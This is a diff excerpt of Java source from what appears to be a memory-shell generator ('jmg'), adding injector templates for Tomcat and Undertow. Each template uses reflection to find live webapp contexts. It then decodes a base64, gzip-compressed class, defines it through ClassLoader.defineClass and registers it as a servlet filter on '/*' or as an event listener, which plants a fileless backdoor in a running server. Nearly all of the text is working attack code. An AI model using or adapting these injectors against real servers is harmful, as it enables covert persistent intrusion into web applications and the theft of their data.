// tomcat v6/7
|
||||
try {
|
||||
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
|
||||
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
|
||||
}
|
||||
}
|
||||
try {
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||
Constructor<?>[] constructors;
|
||||
try {
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
|
||||
}
|
||||
try {
|
||||
// v7.0.0 以上
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFV(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
ClassLoader catalinaLoader = null;
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
// 适配 v5 的 Class Loader 问题
|
||||
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
|
||||
catalinaLoader = threads[i].getContextClassLoader();
|
||||
break;
|
||||
}
|
||||
}
|
||||
return catalinaLoader;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,230 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Tomcat Listener 注入器
|
||||
* Author: pen4uin
|
||||
* 测试版本:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*/
|
||||
public class TomcatListenerInjectorTpl {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new TomcatListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public TomcatListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext"))
|
||||
contexts.add(context);
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
invokeMethod(context, "addApplicationEventListener", new Class[]{Object.class}, new Object[]{listener});
|
||||
} catch (Exception e) {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
arrayList.add(listener);
|
||||
// (Object) 类型转换 解决 tomcat v5/v6 IllegalArgumentException: argument type mismatch
|
||||
//context.getClass().getMethod("setApplicationEventListeners",Object[].class).invoke(context, (Object) arrayList.toArray());
|
||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{(Object) arrayList.toArray()});
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (int i = 0; i < arrayList.size(); i++) {
|
||||
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class UndertowFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public UndertowFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null)
|
||||
contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
try {
|
||||
if (isInjected(context, filterClassName)) {
|
||||
return;
|
||||
}
|
||||
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class UndertowListenerInjectorTpl {
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new UndertowListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public UndertowListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
|
||||
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
|
||||
public void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
for (int i = 0; i < allListeners.size(); i++) {
|
||||
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
|
||||
if (listener.getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
|
||||
getF(var0, var1).set(var0, val);
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
